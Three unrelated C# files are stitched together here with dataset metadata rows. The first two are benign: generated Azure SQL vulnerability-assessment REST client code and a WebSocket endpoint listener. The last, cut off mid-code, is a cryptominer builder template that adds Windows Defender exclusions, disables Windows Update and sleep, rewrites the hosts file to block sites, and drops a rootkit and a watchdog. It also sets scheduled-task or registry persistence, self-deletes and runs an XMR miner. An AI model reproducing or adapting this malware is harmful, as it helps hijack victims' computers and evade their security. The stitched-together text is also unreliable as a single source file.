Argument.AssertNotNullOrEmpty(resourceGroupName, nameof(resourceGroupName));
Argument.AssertNotNullOrEmpty(serverName, nameof(serverName));
Argument.AssertNotNullOrEmpty(databaseName, nameof(databaseName));
using var message = CreateListByDatabaseRequest(subscriptionId, resourceGroupName, serverName, databaseName, vulnerabilityAssessmentName);
_pipeline.Send(message, cancellationToken);
switch (message.Response.Status)
{
case 200:
{
VulnerabilityAssessmentScanRecordListResult value = default;
using var document = JsonDocument.Parse(message.Response.ContentStream);
value = VulnerabilityAssessmentScanRecordListResult.DeserializeVulnerabilityAssessmentScanRecordListResult(document.RootElement);
return Response.FromValue(value, message.Response);
}
default:
throw new RequestFailedException(message.Response);
}
}
internal HttpMessage CreateGetRequest(string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName, string scanId)
{
var message = _pipeline.CreateMessage();
var request = message.Request;
request.Method = RequestMethod.Get;
var uri = new RawRequestUriBuilder();
uri.Reset(_endpoint);
uri.AppendPath("/subscriptions/", false);
uri.AppendPath(subscriptionId, true);
uri.AppendPath("/resourceGroups/", false);
uri.AppendPath(resourceGroupName, true);
uri.AppendPath("/providers/Microsoft.Sql/servers/", false);
uri.AppendPath(serverName, true);
uri.AppendPath("/databases/", false);
uri.AppendPath(databaseName, true);
uri.AppendPath("/vulnerabilityAssessments/", false);
uri.AppendPath(vulnerabilityAssessmentName.ToString(), true);
uri.AppendPath("/scans/", false);
uri.AppendPath(scanId, true);
uri.AppendQuery("api-version", _apiVersion, true);
request.Uri = uri;
request.Headers.Add("Accept", "application/json");
_userAgent.Apply(message);
return message;
}
/// <summary> Gets a vulnerability assessment scan record of a database. </summary>
/// <param name="subscriptionId"> The subscription ID that identifies an Azure subscription. </param>
/// <param name="resourceGroupName"> The name of the resource group that contains the resource. You can obtain this value from the Azure Resource Manager API or the portal. </param>
/// <param name="serverName"> The name of the server. </param>
/// <param name="databaseName"> The name of the database. </param>
/// <param name="vulnerabilityAssessmentName"> The name of the vulnerability assessment. </param>
/// <param name="scanId"> The vulnerability assessment scan Id of the scan to retrieve. </param>
/// <param name="cancellationToken"> The cancellation token to use. </param>
/// <exception cref="ArgumentNullException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/>, <paramref name="databaseName"/> or <paramref name="scanId"/> is null. </exception>
/// <exception cref="ArgumentException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/>, <paramref name="databaseName"/> or <paramref name="scanId"/> is an empty string, and was expected to be non-empty. </exception>
public async Task<Response<VulnerabilityAssessmentScanRecordData>> GetAsync(string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName, string scanId, CancellationToken cancellationToken = default)
{
Argument.AssertNotNullOrEmpty(subscriptionId, nameof(subscriptionId));
Argument.AssertNotNullOrEmpty(resourceGroupName, nameof(resourceGroupName));
Argument.AssertNotNullOrEmpty(serverName, nameof(serverName));
Argument.AssertNotNullOrEmpty(databaseName, nameof(databaseName));
Argument.AssertNotNullOrEmpty(scanId, nameof(scanId));
using var message = CreateGetRequest(subscriptionId, resourceGroupName, serverName, databaseName, vulnerabilityAssessmentName, scanId);
await _pipeline.SendAsync(message, cancellationToken).ConfigureAwait(false);
switch (message.Response.Status)
{
case 200:
{
VulnerabilityAssessmentScanRecordData value = default;
using var document = await JsonDocument.ParseAsync(message.Response.ContentStream, default, cancellationToken).ConfigureAwait(false);
value = VulnerabilityAssessmentScanRecordData.DeserializeVulnerabilityAssessmentScanRecordData(document.RootElement);
return Response.FromValue(value, message.Response);
}
case 404:
return Response.FromValue((VulnerabilityAssessmentScanRecordData)null, message.Response);
default:
throw new RequestFailedException(message.Response);
}
}
/// <summary> Gets a vulnerability assessment scan record of a database. </summary>
/// <param name="subscriptionId"> The subscription ID that identifies an Azure subscription. </param>
/// <param name="resourceGroupName"> The name of the resource group that contains the resource. You can obtain this value from the Azure Resource Manager API or the portal. </param>
/// <param name="serverName"> The name of the server. </param>
/// <param name="databaseName"> The name of the database. </param>
/// <param name="vulnerabilityAssessmentName"> The name of the vulnerability assessment. </param>
/// <param name="scanId"> The vulnerability assessment scan Id of the scan to retrieve. </param>
/// <param name="cancellationToken"> The cancellation token to use. </param>
/// <exception cref="ArgumentNullException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/>, <paramref name="databaseName"/> or <paramref name="scanId"/> is null. </exception>
/// <exception cref="ArgumentException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/>, <paramref name="databaseName"/> or <paramref name="scanId"/> is an empty string, and was expected to be non-empty. </exception>
public Response<VulnerabilityAssessmentScanRecordData> Get(string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName, string scanId, CancellationToken cancellationToken = default)
{
Argument.AssertNotNullOrEmpty(subscriptionId, nameof(subscriptionId));
Argument.AssertNotNullOrEmpty(resourceGroupName, nameof(resourceGroupName));
Argument.AssertNotNullOrEmpty(serverName, nameof(serverName));
Argument.AssertNotNullOrEmpty(databaseName, nameof(databaseName));
Argument.AssertNotNullOrEmpty(scanId, nameof(scanId));
using var message = CreateGetRequest(subscriptionId, resourceGroupName, serverName, databaseName, vulnerabilityAssessmentName, scanId);
_pipeline.Send(message, cancellationToken);
switch (message.Response.Status)
{
case 200:
{
VulnerabilityAssessmentScanRecordData value = default;
using var document = JsonDocument.Parse(message.Response.ContentStream);
value = VulnerabilityAssessmentScanRecordData.DeserializeVulnerabilityAssessmentScanRecordData(document.RootElement);
return Response.FromValue(value, message.Response);
}
case 404:
return Response.FromValue((VulnerabilityAssessmentScanRecordData)null, message.Response);
default:
throw new RequestFailedException(message.Response);
}
}
internal HttpMessage CreateExportRequest(string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName, string scanId)
{
var message = _pipeline.CreateMessage();
var request = message.Request;
request.Method = RequestMethod.Post;
var uri = new RawRequestUriBuilder();
uri.Reset(_endpoint);
uri.AppendPath("/subscriptions/", false);
uri.AppendPath(subscriptionId, true);
uri.AppendPath("/resourceGroups/", false);
uri.AppendPath(resourceGroupName, true);
uri.AppendPath("/providers/Microsoft.Sql/servers/", false);
uri.AppendPath(serverName, true);
uri.AppendPath("/databases/", false);
uri.AppendPath(databaseName, true);
uri.AppendPath("/vulnerabilityAssessments/", false);
uri.AppendPath(vulnerabilityAssessmentName.ToString(), true);
uri.AppendPath("/scans/", false);
uri.AppendPath(scanId, true);
uri.AppendPath("/export", false);
uri.AppendQuery("api-version", _apiVersion, true);
request.Uri = uri;
request.Headers.Add("Accept", "application/json");
_userAgent.Apply(message);
return message;
}
/// <summary> Convert an existing scan result to a human readable format. If already exists nothing happens. </summary>
/// <param name="subscriptionId"> The subscription ID that identifies an Azure subscription. </param>
/// <param name="resourceGroupName"> The name of the resource group that contains the resource. You can obtain this value from the Azure Resource Manager API or the portal. </param>
/// <param name="serverName"> The name of the server. </param>
/// <param name="databaseName"> The name of the scanned database. </param>
/// <param name="vulnerabilityAssessmentName"> The name of the vulnerability assessment. </param>
/// <param name="scanId"> The vulnerability assessment scan Id. </param>
/// <param name="cancellationToken"> The cancellation token to use. </param>
/// <exception cref="ArgumentNullException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/>, <paramref name="databaseName"/> or <paramref name="scanId"/> is null. </exception>
/// <exception cref="ArgumentException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/>, <paramref name="databaseName"/> or <paramref name="scanId"/> is an empty string, and was expected to be non-empty. </exception>
public async Task<Response<DatabaseVulnerabilityAssessmentScansExport>> ExportAsync(string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName, string scanId, CancellationToken cancellationToken = default)
{
Argument.AssertNotNullOrEmpty(subscriptionId, nameof(subscriptionId));
Argument.AssertNotNullOrEmpty(resourceGroupName, nameof(resourceGroupName));
Argument.AssertNotNullOrEmpty(serverName, nameof(serverName));
Argument.AssertNotNullOrEmpty(databaseName, nameof(databaseName));
Argument.AssertNotNullOrEmpty(scanId, nameof(scanId));
using var message = CreateExportRequest(subscriptionId, resourceGroupName, serverName, databaseName, vulnerabilityAssessmentName, scanId);
await _pipeline.SendAsync(message, cancellationToken).ConfigureAwait(false);
switch (message.Response.Status)
{
case 200:
case 201:
{
DatabaseVulnerabilityAssessmentScansExport value = default;
using var document = await JsonDocument.ParseAsync(message.Response.ContentStream, default, cancellationToken).ConfigureAwait(false);
value = DatabaseVulnerabilityAssessmentScansExport.DeserializeDatabaseVulnerabilityAssessmentScansExport(document.RootElement);
return Response.FromValue(value, message.Response);
}
default:
throw new RequestFailedException(message.Response);
}
}
/// <summary> Convert an existing scan result to a human readable format. If already exists nothing happens. </summary>
/// <param name="subscriptionId"> The subscription ID that identifies an Azure subscription. </param>
/// <param name="resourceGroupName"> The name of the resource group that contains the resource. You can obtain this value from the Azure Resource Manager API or the portal. </param>
/// <param name="serverName"> The name of the server. </param>
/// <param name="databaseName"> The name of the scanned database. </param>
/// <param name="vulnerabilityAssessmentName"> The name of the vulnerability assessment. </param>
/// <param name="scanId"> The vulnerability assessment scan Id. </param>
/// <param name="cancellationToken"> The cancellation token to use. </param>
/// <exception cref="ArgumentNullException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/>, <paramref name="databaseName"/> or <paramref name="scanId"/> is null. </exception>
/// <exception cref="ArgumentException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/>, <paramref name="databaseName"/> or <paramref name="scanId"/> is an empty string, and was expected to be non-empty. </exception>
public Response<DatabaseVulnerabilityAssessmentScansExport> Export(string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName, string scanId, CancellationToken cancellationToken = default)
{
Argument.AssertNotNullOrEmpty(subscriptionId, nameof(subscriptionId));
Argument.AssertNotNullOrEmpty(resourceGroupName, nameof(resourceGroupName));
Argument.AssertNotNullOrEmpty(serverName, nameof(serverName));
Argument.AssertNotNullOrEmpty(databaseName, nameof(databaseName));
Argument.AssertNotNullOrEmpty(scanId, nameof(scanId));
using var message = CreateExportRequest(subscriptionId, resourceGroupName, serverName, databaseName, vulnerabilityAssessmentName, scanId);
_pipeline.Send(message, cancellationToken);
switch (message.Response.Status)
{
case 200:
case 201:
{
DatabaseVulnerabilityAssessmentScansExport value = default;
using var document = JsonDocument.Parse(message.Response.ContentStream);
value = DatabaseVulnerabilityAssessmentScansExport.DeserializeDatabaseVulnerabilityAssessmentScansExport(document.RootElement);
return Response.FromValue(value, message.Response);
}
default:
throw new RequestFailedException(message.Response);
}
}
internal HttpMessage CreateListByDatabaseNextPageRequest(string nextLink, string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName)
{
var message = _pipeline.CreateMessage();
var request = message.Request;
request.Method = RequestMethod.Get;
var uri = new RawRequestUriBuilder();
uri.Reset(_endpoint);
uri.AppendRawNextLink(nextLink, false);
request.Uri = uri;
request.Headers.Add("Accept", "application/json");
_userAgent.Apply(message);
return message;
}
/// <summary> Lists the vulnerability assessment scans of a database. </summary>
/// <param name="nextLink"> The URL to the next page of results. </param>
/// <param name="subscriptionId"> The subscription ID that identifies an Azure subscription. </param>
/// <param name="resourceGroupName"> The name of the resource group that contains the resource. You can obtain this value from the Azure Resource Manager API or the portal. </param>
/// <param name="serverName"> The name of the server. </param>
/// <param name="databaseName"> The name of the database. </param>
/// <param name="vulnerabilityAssessmentName"> The name of the vulnerability assessment. </param>
/// <param name="cancellationToken"> The cancellation token to use. </param>
/// <exception cref="ArgumentNullException"> <paramref name="nextLink"/>, <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/> or <paramref name="databaseName"/> is null. </exception>
/// <exception cref="ArgumentException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/> or <paramref name="databaseName"/> is an empty string, and was expected to be non-empty. </exception>
public async Task<Response<VulnerabilityAssessmentScanRecordListResult>> ListByDatabaseNextPageAsync(string nextLink, string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName, CancellationToken cancellationToken = default)
{
Argument.AssertNotNull(nextLink, nameof(nextLink));
Argument.AssertNotNullOrEmpty(subscriptionId, nameof(subscriptionId));
Argument.AssertNotNullOrEmpty(resourceGroupName, nameof(resourceGroupName));
Argument.AssertNotNullOrEmpty(serverName, nameof(serverName));
Argument.AssertNotNullOrEmpty(databaseName, nameof(databaseName));
using var message = CreateListByDatabaseNextPageRequest(nextLink, subscriptionId, resourceGroupName, serverName, databaseName, vulnerabilityAssessmentName);
await _pipeline.SendAsync(message, cancellationToken).ConfigureAwait(false);
switch (message.Response.Status)
{
case 200:
{
VulnerabilityAssessmentScanRecordListResult value = default;
using var document = await JsonDocument.ParseAsync(message.Response.ContentStream, default, cancellationToken).ConfigureAwait(false);
value = VulnerabilityAssessmentScanRecordListResult.DeserializeVulnerabilityAssessmentScanRecordListResult(document.RootElement);
return Response.FromValue(value, message.Response);
}
default:
throw new RequestFailedException(message.Response);
}
}
/// <summary> Lists the vulnerability assessment scans of a database. </summary>
/// <param name="nextLink"> The URL to the next page of results. </param>
/// <param name="subscriptionId"> The subscription ID that identifies an Azure subscription. </param>
/// <param name="resourceGroupName"> The name of the resource group that contains the resource. You can obtain this value from the Azure Resource Manager API or the portal. </param>
/// <param name="serverName"> The name of the server. </param>
/// <param name="databaseName"> The name of the database. </param>
/// <param name="vulnerabilityAssessmentName"> The name of the vulnerability assessment. </param>
/// <param name="cancellationToken"> The cancellation token to use. </param>
/// <exception cref="ArgumentNullException"> <paramref name="nextLink"/>, <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/> or <paramref name="databaseName"/> is null. </exception>
/// <exception cref="ArgumentException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/> or <paramref name="databaseName"/> is an empty string, and was expected to be non-empty. </exception>
public Response<VulnerabilityAssessmentScanRecordListResult> ListByDatabaseNextPage(string nextLink, string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName, CancellationToken cancellationToken = default)
{
Argument.AssertNotNull(nextLink, nameof(nextLink));
Argument.AssertNotNullOrEmpty(subscriptionId, nameof(subscriptionId));
Argument.AssertNotNullOrEmpty(resourceGroupName, nameof(resourceGroupName));
Argument.AssertNotNullOrEmpty(serverName, nameof(serverName));
Argument.AssertNotNullOrEmpty(databaseName, nameof(databaseName));
using var message = CreateListByDatabaseNextPageRequest(nextLink, subscriptionId, resourceGroupName, serverName, databaseName, vulnerabilityAssessmentName);
_pipeline.Send(message, cancellationToken);
switch (message.Response.Status)
{
case 200:
{
VulnerabilityAssessmentScanRecordListResult value = default;
using var document = JsonDocument.Parse(message.Response.ContentStream);
value = VulnerabilityAssessmentScanRecordListResult.DeserializeVulnerabilityAssessmentScanRecordListResult(document.RootElement);
return Response.FromValue(value, message.Response);
}
default:
throw new RequestFailedException(message.Response);
}
}
}
}
| 73.657201 | 318 | 0.680142 | [
"MIT"
] | AikoBB/azure-sdk-for-net | sdk/sqlmanagement/Azure.ResourceManager.Sql/src/Generated/RestOperations/DatabaseVulnerabilityAssessmentScansRestOperations.cs | 36,313 | C# |
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
namespace WebSocketCore.Net
{
internal sealed class EndPointListener
{
#region Private Fields
private List<HttpListenerPrefix> _all; // host == '+'
private static readonly string _defaultCertFolderPath;
private IPEndPoint _endpoint;
private Dictionary<HttpListenerPrefix, HttpListener> _prefixes;
private bool _secure;
private Socket _socket;
private ServerSslConfiguration _sslConfig;
private List<HttpListenerPrefix> _unhandled; // host == '*'
private Dictionary<HttpConnection, HttpConnection> _unregistered;
private object _unregisteredSync;
#endregion
#region Static Constructor
static EndPointListener()
{
_defaultCertFolderPath = Directory.GetCurrentDirectory();
}
#endregion
#region Internal Constructors
internal EndPointListener(
IPEndPoint endpoint,
bool secure,
string certificateFolderPath,
ServerSslConfiguration sslConfig,
bool reuseAddress
)
{
if (secure)
{
var cert =
getCertificate(endpoint.Port, certificateFolderPath, sslConfig.ServerCertificate);
if (cert == null)
throw new ArgumentException("No server certificate could be found.");
_secure = true;
_sslConfig =
new ServerSslConfiguration(
cert,
sslConfig.ClientCertificateRequired,
sslConfig.EnabledSslProtocols,
sslConfig.CheckCertificateRevocation
);
_sslConfig.ClientCertificateValidationCallback =
sslConfig.ClientCertificateValidationCallback;
}
_endpoint = endpoint;
_prefixes = new Dictionary<HttpListenerPrefix, HttpListener>();
_unregistered = new Dictionary<HttpConnection, HttpConnection>();
_unregisteredSync = ((ICollection) _unregistered).SyncRoot;
_socket =
new Socket(endpoint.Address.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
if (reuseAddress)
_socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
_socket.Bind(endpoint);
_socket.Listen(500);
Accept();
}
#endregion
#region Public Properties
public IPAddress Address
{
get { return _endpoint.Address; }
}
public bool IsSecure
{
get { return _secure; }
}
public int Port
{
get { return _endpoint.Port; }
}
public ServerSslConfiguration SslConfiguration
{
get { return _sslConfig; }
}
#endregion
#region Private Methods
private static void addSpecial(List<HttpListenerPrefix> prefixes, HttpListenerPrefix prefix)
{
var path = prefix.Path;
foreach (var pref in prefixes)
{
if (pref.Path == path)
throw new HttpListenerException(87, "The prefix is already in use.");
}
prefixes.Add(prefix);
}
private static RSACryptoServiceProvider createRSAFromFile(string filename)
{
byte[] pvk = null;
using (var fs = File.Open(filename, FileMode.Open, FileAccess.Read, FileShare.Read))
{
pvk = new byte[fs.Length];
fs.Read(pvk, 0, pvk.Length);
}
var rsa = new RSACryptoServiceProvider();
rsa.ImportCspBlob(pvk);
return rsa;
}
private static X509Certificate2 getCertificate(
int port, string folderPath, X509Certificate2 defaultCertificate
)
{
if (string.IsNullOrEmpty(folderPath))
folderPath = _defaultCertFolderPath;
try
{
var cer = Path.Combine(folderPath, string.Format("{0}.cer", port));
var key = Path.Combine(folderPath, string.Format("{0}.key", port));
if (File.Exists(cer) && File.Exists(key))
{
var cert = new X509Certificate2(cer);
// .NET core: Private key must be in the machine's key store, hash tag sad face
//cert = createRSAFromFile (key);
return cert;
}
}
catch
{
}
return defaultCertificate;
}
private void leaveIfNoPrefix()
{
if (_prefixes.Count > 0)
return;
var prefs = _unhandled;
if (prefs != null && prefs.Count > 0)
return;
prefs = _all;
if (prefs != null && prefs.Count > 0)
return;
EndPointManager.RemoveEndPoint(_endpoint);
}
private async void Accept()
{
Socket sock = null;
try
{
sock = await this._socket.AcceptAsync();
}
catch (SocketException)
{
// TODO: Should log the error code when this class has a logging.
}
catch (ObjectDisposedException)
{
return;
}
try
{
Accept();
}
catch
{
sock?.Dispose();
return;
}
if (sock == null)
return;
processAccepted(sock, this);
}
private static void processAccepted(Socket socket, EndPointListener listener)
{
HttpConnection conn = null;
try
{
conn = new HttpConnection(socket, listener);
lock (listener._unregisteredSync)
listener._unregistered[conn] = conn;
conn.BeginReadRequest();
}
catch
{
if (conn != null)
{
conn.Close(true);
return;
}
socket.Dispose();
}
}
private static bool removeSpecial(List<HttpListenerPrefix> prefixes, HttpListenerPrefix prefix)
{
var path = prefix.Path;
var cnt = prefixes.Count;
for (var i = 0; i < cnt; i++)
{
if (prefixes[i].Path == path)
{
prefixes.RemoveAt(i);
return true;
}
}
return false;
}
private static HttpListener searchHttpListenerFromSpecial(
string path, List<HttpListenerPrefix> prefixes
)
{
if (prefixes == null)
return null;
HttpListener bestMatch = null;
var bestLen = -1;
foreach (var pref in prefixes)
{
var prefPath = pref.Path;
var len = prefPath.Length;
if (len < bestLen)
continue;
if (path.StartsWith(prefPath))
{
bestLen = len;
bestMatch = pref.Listener;
}
}
return bestMatch;
}
#endregion
#region Internal Methods
internal static bool CertificateExists(int port, string folderPath)
{
if (folderPath == null || folderPath.Length == 0)
folderPath = _defaultCertFolderPath;
var cer = Path.Combine(folderPath, String.Format("{0}.cer", port));
var key = Path.Combine(folderPath, String.Format("{0}.key", port));
return File.Exists(cer) && File.Exists(key);
}
internal void RemoveConnection(HttpConnection connection)
{
lock (_unregisteredSync)
_unregistered.Remove(connection);
}
internal bool TrySearchHttpListener(Uri uri, out HttpListener listener)
{
listener = null;
if (uri == null)
return false;
var host = uri.Host;
var dns = Uri.CheckHostName(host) == UriHostNameType.Dns;
var port = uri.Port.ToString();
var path = HttpUtility.UrlDecode(uri.AbsolutePath);
var pathSlash = path[path.Length - 1] != '/' ? path + "/" : path;
if (host != null && host.Length > 0)
{
var bestLen = -1;
foreach (var pref in _prefixes.Keys)
{
if (dns)
{
var prefHost = pref.Host;
if (Uri.CheckHostName(prefHost) == UriHostNameType.Dns && prefHost != host)
continue;
}
if (pref.Port != port)
continue;
var prefPath = pref.Path;
var len = prefPath.Length;
if (len < bestLen)
continue;
if (path.StartsWith(prefPath) || pathSlash.StartsWith(prefPath))
{
bestLen = len;
listener = _prefixes[pref];
}
}
if (bestLen != -1)
return true;
}
var prefs = _unhandled;
listener = searchHttpListenerFromSpecial(path, prefs);
if (listener == null && pathSlash != path)
listener = searchHttpListenerFromSpecial(pathSlash, prefs);
if (listener != null)
return true;
prefs = _all;
listener = searchHttpListenerFromSpecial(path, prefs);
if (listener == null && pathSlash != path)
listener = searchHttpListenerFromSpecial(pathSlash, prefs);
return listener != null;
}
#endregion
#region Public Methods
public void AddPrefix(HttpListenerPrefix prefix, HttpListener listener)
{
List<HttpListenerPrefix> current, future;
if (prefix.Host == "*")
{
do
{
current = _unhandled;
future = current != null
? new List<HttpListenerPrefix>(current)
: new List<HttpListenerPrefix>();
prefix.Listener = listener;
addSpecial(future, prefix);
} while (Interlocked.CompareExchange(ref _unhandled, future, current) != current);
return;
}
if (prefix.Host == "+")
{
do
{
current = _all;
future = current != null
? new List<HttpListenerPrefix>(current)
: new List<HttpListenerPrefix>();
prefix.Listener = listener;
addSpecial(future, prefix);
} while (Interlocked.CompareExchange(ref _all, future, current) != current);
return;
}
Dictionary<HttpListenerPrefix, HttpListener> prefs, prefs2;
do
{
prefs = _prefixes;
if (prefs.ContainsKey(prefix))
{
if (prefs[prefix] != listener)
{
throw new HttpListenerException(
87, String.Format("There's another listener for {0}.", prefix)
);
}
return;
}
prefs2 = new Dictionary<HttpListenerPrefix, HttpListener>(prefs);
prefs2[prefix] = listener;
} while (Interlocked.CompareExchange(ref _prefixes, prefs2, prefs) != prefs);
}
public void Close()
{
_socket.Dispose();
HttpConnection[] conns = null;
lock (_unregisteredSync)
{
if (_unregistered.Count == 0)
return;
var keys = _unregistered.Keys;
conns = new HttpConnection[keys.Count];
keys.CopyTo(conns, 0);
_unregistered.Clear();
}
for (var i = conns.Length - 1; i >= 0; i--)
conns[i].Close(true);
}
public void RemovePrefix(HttpListenerPrefix prefix, HttpListener listener)
{
List<HttpListenerPrefix> current, future;
if (prefix.Host == "*")
{
do
{
current = _unhandled;
if (current == null)
break;
future = new List<HttpListenerPrefix>(current);
if (!removeSpecial(future, prefix))
break; // The prefix wasn't found.
} while (Interlocked.CompareExchange(ref _unhandled, future, current) != current);
leaveIfNoPrefix();
return;
}
if (prefix.Host == "+")
{
do
{
current = _all;
if (current == null)
break;
future = new List<HttpListenerPrefix>(current);
if (!removeSpecial(future, prefix))
break; // The prefix wasn't found.
} while (Interlocked.CompareExchange(ref _all, future, current) != current);
leaveIfNoPrefix();
return;
}
Dictionary<HttpListenerPrefix, HttpListener> prefs, prefs2;
do
{
prefs = _prefixes;
if (!prefs.ContainsKey(prefix))
break;
prefs2 = new Dictionary<HttpListenerPrefix, HttpListener>(prefs);
prefs2.Remove(prefix);
} while (Interlocked.CompareExchange(ref _prefixes, prefs2, prefs) != prefs);
leaveIfNoPrefix();
}
#endregion
}
} | 29.815631 | 103 | 0.480979 | [
"MIT"
] | CrimeanBitches/websocket-core | websocket-core/Net/EndPointListener.cs | 14,878 | C# |
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Management;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Windows.Forms;
#if DefAssembly
[assembly: AssemblyTitle("%Title%")]
[assembly: AssemblyDescription("%Description%")]
[assembly: AssemblyCompany("%Company%")]
[assembly: AssemblyProduct("%Product%")]
[assembly: AssemblyCopyright("%Copyright%")]
[assembly: AssemblyTrademark("%Trademark%")]
[assembly: AssemblyFileVersion("%v1%" + "." + "%v2%" + "." + "%v3%" + "." + "%v4%")]
#endif
public partial class _rProgram_
{
public static void Main()
{
try
{
try
{
#if DefWDExclusions
_rCommand_("#SPOWERSHELL", "#WDCOMMANDS", true);
#endif
#if DefStartDelay
Thread.Sleep(startDelay * 1000);
#endif
#if DefDisableWindowsUpdate
_rCommand_("#SCMD", "#WUPDATE");
#endif
#if DefDisableSleep
_rCommand_("#SCMD", "#POWERCFG");
#endif
}
catch (Exception ex)
{
#if DefDebug
MessageBox.Show("MBC: " + Environment.NewLine + ex.ToString());
#endif
}
#if DefBlockWebsites
try
{
string _rhostspath_ = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "#HOSTSPATH");
string _rhostscontent_ = File.ReadAllText(_rhostspath_);
string[] _rdomainset_ = new string[] { DOMAINSET };
using (StreamWriter _rw_ = File.AppendText(_rhostspath_))
{
foreach (string _set_ in _rdomainset_)
{
if (!_rhostscontent_.Contains(" " + _set_))
{
_rw_.Write(string.Format("#HOSTSFORMAT", _set_));
}
}
}
}
catch (Exception ex)
{
#if DefDebug
MessageBox.Show("MBW: " + Environment.NewLine + ex.ToString());
#endif
}
#endif
string _rbD_ = Path.Combine(Environment.GetFolderPath($LIBSROOT), "#LIBSPATH");
string _rbD2_ = Path.Combine(Environment.GetFolderPath($LIBSROOT), "#WATCHDOGPATH");
#if DefInstall
try
{
string _rplp_ = PayloadPath;
#if DefShellcode
string _rcmdl_ = Environment.GetCommandLineArgs()[1];
#else
string _rcmdl_ = Application.ExecutablePath;
#endif
if (!_rcmdl_.Equals(_rplp_, StringComparison.CurrentCultureIgnoreCase))
{
string _rpayloadcommand_ = $PAYLOADCOMMAND;
#if DefNoMinerOverwrite
if(File.Exists(_rplp_)){
_rCommand_("#SPOWERSHELL", _rpayloadcommand_);
Environment.Exit(0);
}
#endif
#if DefRootkit
try
{
_rRun_(_rExtractFile_(_rGetTheResource_("#RESRKI"), "st"), Path.Combine(Directory.GetParent(Environment.SystemDirectory).FullName, "#CONHOST"), null);
}
catch(Exception ex){
#if DefDebug
MessageBox.Show("MRK: " + ex.ToString());
#endif
}
#endif
_rFindWatchdog_(true);
try{
Directory.CreateDirectory(Path.GetDirectoryName(_rplp_));
if(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
{
if (Environment.OSVersion.Version < new Version(6, 2))
{
_rCommand_("#SCMD", string.Format("#WIN7TASKSCHADD", _rplp_));
File.Copy(_rcmdl_, _rplp_, true);
_rCommand_("#SCMD", "#WIN7TASKSCHSTART");
}
else
{
_rCommand_("#SPOWERSHELL", string.Format("#ECTEMPLATE", Convert.ToBase64String(Encoding.Unicode.GetBytes(string.Format("#TASKSCHADD", _rplp_.Replace("'", "''"), _rcmdl_.Replace("'", "''"), _rpayloadcommand_)))), true);
}
}
else
{
_rCommand_("#SCMD", string.Format("#REGADD", _rplp_));
Thread.Sleep(2000);
File.Copy(_rcmdl_, _rplp_, true);
Thread.Sleep(2000);
#if DefRunInstall
_rCommand_("#SPOWERSHELL", _rpayloadcommand_);
#endif
}
}
catch(Exception ex){
#if DefDebug
MessageBox.Show("MAE: " + ex.ToString());
#endif
}
#if DefAutoDelete
_rCommand_("#SCMD", string.Format("#CMDDELETE", _rcmdl_));
#endif
Environment.Exit(0);
}
}
catch(Exception ex){
#if DefDebug
MessageBox.Show("MFI: " + ex.ToString());
#endif
}
#endif
try
{
try
{
Directory.CreateDirectory(_rbD_);
Directory.CreateDirectory(_rbD2_);
#if DefWatchdog
if (!_rFindWatchdog_())
{
#if DefMemoryWatchdog
_rRun_(_rGetTheResource_("#RESWD"), Path.Combine(Directory.GetParent(Environment.SystemDirectory).FullName, "#CONHOST"), "#WATCHDOGID", true);
#else
File.WriteAllBytes(Path.Combine(_rbD2_, "#WATCHDOGNAME" + ".exe"), _rGetTheResource_("#RESWD"));
Process.Start(new ProcessStartInfo
{
FileName = Path.Combine(_rbD2_, "#WATCHDOGNAME" + ".exe"),
WorkingDirectory = _rbD2_,
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
#endif
}
#endif
#if DefXMR
File.WriteAllBytes(Path.Combine(_rbD_, "#WR64"), _rGetTheResource_("#RESWR"));
#endif
}
catch (Exception ex)
{
#if DefDebug
MessageBox.Show("MW: " + Environment.NewLine + ex.ToString());
#endif
}
byte[] _rxmr_ = { };
byte[] _reth_ = { };
bool _rGPU_ = _rGetGPU_();
#if DefGPU
try
{
if (_rGPU_)
{
byte[] _li_ = _rGetTheResource_("#RESLIBS");
if (_li_.Length > 0) {
using (var _rarchive_ = new ZipArchive(new MemoryStream(_li_)))
{
